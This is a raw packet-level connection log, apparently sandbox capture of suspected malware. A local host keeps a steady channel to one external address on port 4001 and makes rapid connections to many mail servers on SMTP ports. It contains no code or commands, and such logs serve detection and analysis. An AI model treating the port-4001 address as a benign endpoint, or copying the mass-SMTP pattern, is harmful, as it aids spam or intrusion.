May 19, 2024 17:27:55.523808956 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.526741982 CEST	587	50091	2.207.150.234	192.168.2.4
May 19, 2024 17:27:55.526771069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.526799917 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:55.526808977 CEST	50091	587	192.168.2.4	2.207.150.234
May 19, 2024 17:27:55.526830912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.526859045 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.526887894 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:55.526917934 CEST	587	49941	79.96.63.102	192.168.2.4
May 19, 2024 17:27:55.526917934 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.526974916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.526985884 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527000904 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.527029037 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.527056932 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527057886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.527086973 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:55.527101040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527204037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527252913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527298927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.527322054 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.528769970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.528799057 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.536787033 CEST	49963	587	192.168.2.4	83.223.113.41
May 19, 2024 17:27:55.552463055 CEST	50026	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:55.568030119 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:55.568054914 CEST	49941	587	192.168.2.4	79.96.63.102
May 19, 2024 17:27:55.568068027 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.568093061 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:55.568110943 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:55.568164110 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:55.573246956 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.573292971 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.573322058 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.573352098 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:55.573447943 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.578115940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.593543053 CEST	587	49989	40.99.157.50	192.168.2.4
May 19, 2024 17:27:55.593806028 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.598989964 CEST	587	50015	193.54.32.8	192.168.2.4
May 19, 2024 17:27:55.599037886 CEST	587	50082	52.62.236.135	192.168.2.4
May 19, 2024 17:27:55.599450111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.599450111 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.604759932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.604811907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.604993105 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:55.605027914 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.605169058 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:55.605330944 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.605489016 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:55.605901957 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.606281042 CEST	50092	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:55.606817007 CEST	50093	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.607021093 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.607130051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.607130051 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.607830048 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.607911110 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.607950926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.607950926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.609319925 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.610923052 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.610959053 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.610980034 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.610996008 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.611063004 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.611171961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.611171961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.611171961 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.613990068 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.614085913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.614087105 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.614980936 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:55.615595102 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.615650892 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.615741968 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.615741968 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.616839886 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.616874933 CEST	587	49944	150.214.204.12	192.168.2.4
May 19, 2024 17:27:55.616904020 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.616931915 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:55.616961002 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:55.616970062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.617005110 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.617018938 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.617047071 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:55.617074966 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.617109060 CEST	587	50092	188.114.96.3	192.168.2.4
May 19, 2024 17:27:55.617139101 CEST	587	50093	194.153.145.104	192.168.2.4
May 19, 2024 17:27:55.617166996 CEST	587	49997	66.133.129.10	192.168.2.4
May 19, 2024 17:27:55.617194891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.617204905 CEST	50092	587	192.168.2.4	188.114.96.3
May 19, 2024 17:27:55.617229939 CEST	50093	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:55.617237091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.617274046 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.617295980 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.622251034 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:55.622304916 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.622335911 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.622366905 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:55.622409105 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.622425079 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:55.622454882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.622488976 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.622497082 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:55.622546911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.622546911 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.622634888 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.627168894 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.627219915 CEST	587	49942	217.74.65.52	192.168.2.4
May 19, 2024 17:27:55.627337933 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.631685019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.636418104 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:55.636499882 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.646775007 CEST	49989	587	192.168.2.4	40.99.157.50
May 19, 2024 17:27:55.646789074 CEST	50082	587	192.168.2.4	52.62.236.135
May 19, 2024 17:27:55.646791935 CEST	50015	587	192.168.2.4	193.54.32.8
May 19, 2024 17:27:55.655327082 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:55.655452013 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.660526037 CEST	587	50013	41.193.157.227	192.168.2.4
May 19, 2024 17:27:55.660625935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.661750078 CEST	49997	587	192.168.2.4	66.133.129.10
May 19, 2024 17:27:55.661813974 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.661848068 CEST	49944	587	192.168.2.4	150.214.204.12
May 19, 2024 17:27:55.665535927 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.677403927 CEST	49942	587	192.168.2.4	217.74.65.52
May 19, 2024 17:27:55.679441929 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.687066078 CEST	587	50054	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.687167883 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.694071054 CEST	587	50023	62.149.128.202	192.168.2.4
May 19, 2024 17:27:55.694156885 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.699106932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.702730894 CEST	587	49964	201.193.191.44	192.168.2.4
May 19, 2024 17:27:55.702840090 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.703829050 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.703974962 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:55.704025984 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:55.704077959 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:55.704132080 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.704210997 CEST	50067	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:55.704297066 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:55.704349995 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:55.704380989 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:55.708611012 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:55.708611012 CEST	50013	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:55.709547997 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.717967987 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:55.739872932 CEST	50054	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.739881039 CEST	50023	587	192.168.2.4	62.149.128.202
May 19, 2024 17:27:55.745060921 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:55.745102882 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:55.745109081 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.745115042 CEST	587	50067	65.20.63.172	192.168.2.4
May 19, 2024 17:27:55.745120049 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:55.745126009 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:55.745140076 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:55.745145082 CEST	587	49808	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.745465040 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.745568037 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.745600939 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.745821953 CEST	50094	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:55.755496979 CEST	49964	587	192.168.2.4	201.193.191.44
May 19, 2024 17:27:55.763235092 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:55.763475895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.768255949 CEST	587	50094	62.149.128.200	192.168.2.4
May 19, 2024 17:27:55.768330097 CEST	50094	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:55.768522024 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.773394108 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.778908968 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.786731005 CEST	49808	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.794945955 CEST	587	50056	87.248.97.31	192.168.2.4
May 19, 2024 17:27:55.795212030 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.800446033 CEST	587	49968	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.800705910 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.806332111 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.806476116 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:55.806535006 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.806829929 CEST	49909	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:55.806829929 CEST	49889	587	192.168.2.4	162.241.225.12
May 19, 2024 17:27:55.806879044 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:55.807087898 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.807651043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.807651043 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.811976910 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:55.817452908 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.818124056 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:55.823048115 CEST	587	49909	64.136.52.44	192.168.2.4
May 19, 2024 17:27:55.823132992 CEST	587	49889	162.241.225.12	192.168.2.4
May 19, 2024 17:27:55.823162079 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:55.823190928 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.823219061 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.849250078 CEST	49968	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.849255085 CEST	50056	587	192.168.2.4	87.248.97.31
May 19, 2024 17:27:55.854784012 CEST	587	50033	129.159.125.229	192.168.2.4
May 19, 2024 17:27:55.854923010 CEST	587	50042	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.854954004 CEST	587	50084	168.0.132.203	192.168.2.4
May 19, 2024 17:27:55.854984045 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:55.855134010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855134010 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855228901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855228901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855228901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855228901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.855411053 CEST	50095	465	192.168.2.4	176.9.131.126
May 19, 2024 17:27:55.862778902 CEST	587	49977	117.50.20.113	192.168.2.4
May 19, 2024 17:27:55.862860918 CEST	49977	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:55.862915039 CEST	49977	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:55.863056898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.867635012 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.872750044 CEST	465	50095	176.9.131.126	192.168.2.4
May 19, 2024 17:27:55.872802019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.872832060 CEST	50095	465	192.168.2.4	176.9.131.126
May 19, 2024 17:27:55.873050928 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.878171921 CEST	587	49977	117.50.20.113	192.168.2.4
May 19, 2024 17:27:55.878277063 CEST	587	49914	129.159.94.43	192.168.2.4
May 19, 2024 17:27:55.878520012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.883023977 CEST	587	49978	129.187.254.228	192.168.2.4
May 19, 2024 17:27:55.883099079 CEST	49978	587	192.168.2.4	129.187.254.228
May 19, 2024 17:27:55.883131981 CEST	49978	587	192.168.2.4	129.187.254.228
May 19, 2024 17:27:55.883302927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.888262033 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.893421888 CEST	587	49978	129.187.254.228	192.168.2.4
May 19, 2024 17:27:55.896151066 CEST	50084	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.896155119 CEST	50042	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:55.896157026 CEST	50033	587	192.168.2.4	129.159.125.229
May 19, 2024 17:27:55.896209002 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:55.901206970 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.906344891 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:55.906481028 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:55.906605005 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:55.906641960 CEST	49812	587	192.168.2.4	193.70.18.144
May 19, 2024 17:27:55.906691074 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:55.906866074 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:55.907140970 CEST	50096	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.912585974 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:55.917498112 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:55.927498102 CEST	49914	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:55.932929993 CEST	587	49812	193.70.18.144	192.168.2.4
May 19, 2024 17:27:55.933032990 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:55.933062077 CEST	587	49907	46.227.176.12	192.168.2.4
May 19, 2024 17:27:55.933098078 CEST	587	50096	142.93.237.125	192.168.2.4
May 19, 2024 17:27:55.933128119 CEST	587	50031	46.255.231.19	192.168.2.4
May 19, 2024 17:27:55.933156967 CEST	587	49951	84.116.6.22	192.168.2.4
May 19, 2024 17:27:55.933163881 CEST	50096	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:55.933187008 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:55.933217049 CEST	587	50037	193.122.179.25	192.168.2.4
May 19, 2024 17:27:55.933327913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.933327913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.933327913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.933327913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.933327913 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:55.974328995 CEST	50037	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:55.974328995 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:55.976524115 CEST	50031	587	192.168.2.4	46.255.231.19
May 19, 2024 17:27:55.976553917 CEST	49951	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:55.983669043 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.029340029 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.029386044 CEST	587	49979	104.18.2.81	192.168.2.4
May 19, 2024 17:27:56.029417992 CEST	587	50063	38.111.141.32	192.168.2.4
May 19, 2024 17:27:56.029479027 CEST	49979	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:56.029577017 CEST	49979	587	192.168.2.4	104.18.2.81
May 19, 2024 17:27:56.029704094 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.032651901 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.034560919 CEST	587	50035	207.211.30.141	192.168.2.4
May 19, 2024 17:27:56.034884930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.081542969 CEST	587	50064	168.0.132.203	192.168.2.4
May 19, 2024 17:27:56.081589937 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.081619978 CEST	587	50066	162.241.203.50	192.168.2.4
May 19, 2024 17:27:56.081653118 CEST	587	50079	120.50.131.112	192.168.2.4
May 19, 2024 17:27:56.081741095 CEST	49955	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.081777096 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:56.081789017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.081789970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.081789970 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.081856012 CEST	49961	587	192.168.2.4	41.193.157.227
May 19, 2024 17:27:56.081861973 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.081859112 CEST	50079	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:56.081859112 CEST	50079	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:56.081919909 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:56.083617926 CEST	50063	587	192.168.2.4	38.111.141.32
May 19, 2024 17:27:56.083642960 CEST	50035	587	192.168.2.4	207.211.30.141
May 19, 2024 17:27:56.086400986 CEST	587	49979	104.18.2.81	192.168.2.4
May 19, 2024 17:27:56.086499929 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.130481005 CEST	50064	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:56.132513046 CEST	50066	587	192.168.2.4	162.241.203.50
May 19, 2024 17:27:56.133435011 CEST	587	49955	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.133476973 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:56.133506060 CEST	587	49961	41.193.157.227	192.168.2.4
May 19, 2024 17:27:56.133537054 CEST	587	50079	120.50.131.112	192.168.2.4
May 19, 2024 17:27:56.133565903 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:56.133594990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.133625984 CEST	587	50038	124.156.190.79	192.168.2.4
May 19, 2024 17:27:56.133814096 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.139261007 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.139806032 CEST	50059	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:56.140403032 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:56.140631914 CEST	50098	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:56.177177906 CEST	50038	587	192.168.2.4	124.156.190.79
May 19, 2024 17:27:56.185426950 CEST	587	49915	35.214.122.161	192.168.2.4
May 19, 2024 17:27:56.185470104 CEST	587	50070	194.152.32.10	192.168.2.4
May 19, 2024 17:27:56.185499907 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.185671091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.185671091 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.190376043 CEST	587	50059	84.2.43.67	192.168.2.4
May 19, 2024 17:27:56.190416098 CEST	587	50097	64.91.253.60	192.168.2.4
May 19, 2024 17:27:56.190447092 CEST	587	50098	99.83.253.192	192.168.2.4
May 19, 2024 17:27:56.190484047 CEST	50097	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:56.190505981 CEST	50098	587	192.168.2.4	99.83.253.192
May 19, 2024 17:27:56.190656900 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.190658092 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.237083912 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.237129927 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:56.237224102 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.237229109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.237411022 CEST	49948	587	192.168.2.4	182.248.170.226
May 19, 2024 17:27:56.237411022 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:56.237628937 CEST	49806	587	192.168.2.4	91.209.104.155
May 19, 2024 17:27:56.237817049 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:56.237817049 CEST	49974	587	192.168.2.4	194.181.93.175
May 19, 2024 17:27:56.237946033 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.237981081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.238152981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.238183022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.239880085 CEST	50070	587	192.168.2.4	194.152.32.10
May 19, 2024 17:27:56.239897013 CEST	49915	587	192.168.2.4	35.214.122.161
May 19, 2024 17:27:56.242659092 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.247817993 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.286735058 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:56.292640924 CEST	587	49948	182.248.170.226	192.168.2.4
May 19, 2024 17:27:56.292682886 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:56.292712927 CEST	587	49806	91.209.104.155	192.168.2.4
May 19, 2024 17:27:56.292740107 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:56.292767048 CEST	587	49974	194.181.93.175	192.168.2.4
May 19, 2024 17:27:56.292795897 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.292824030 CEST	587	50036	81.2.195.204	192.168.2.4
May 19, 2024 17:27:56.292911053 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.298043013 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.333647966 CEST	50036	587	192.168.2.4	81.2.195.204
May 19, 2024 17:27:56.339265108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.339265108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.339265108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:56.344233990 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:56.344368935 CEST	50000	587	192.168.2.4	213.172.96.34
May 19, 2024 17:27:56.344432116 CEST	49935	587	192.168.2.4	213.209.1.145
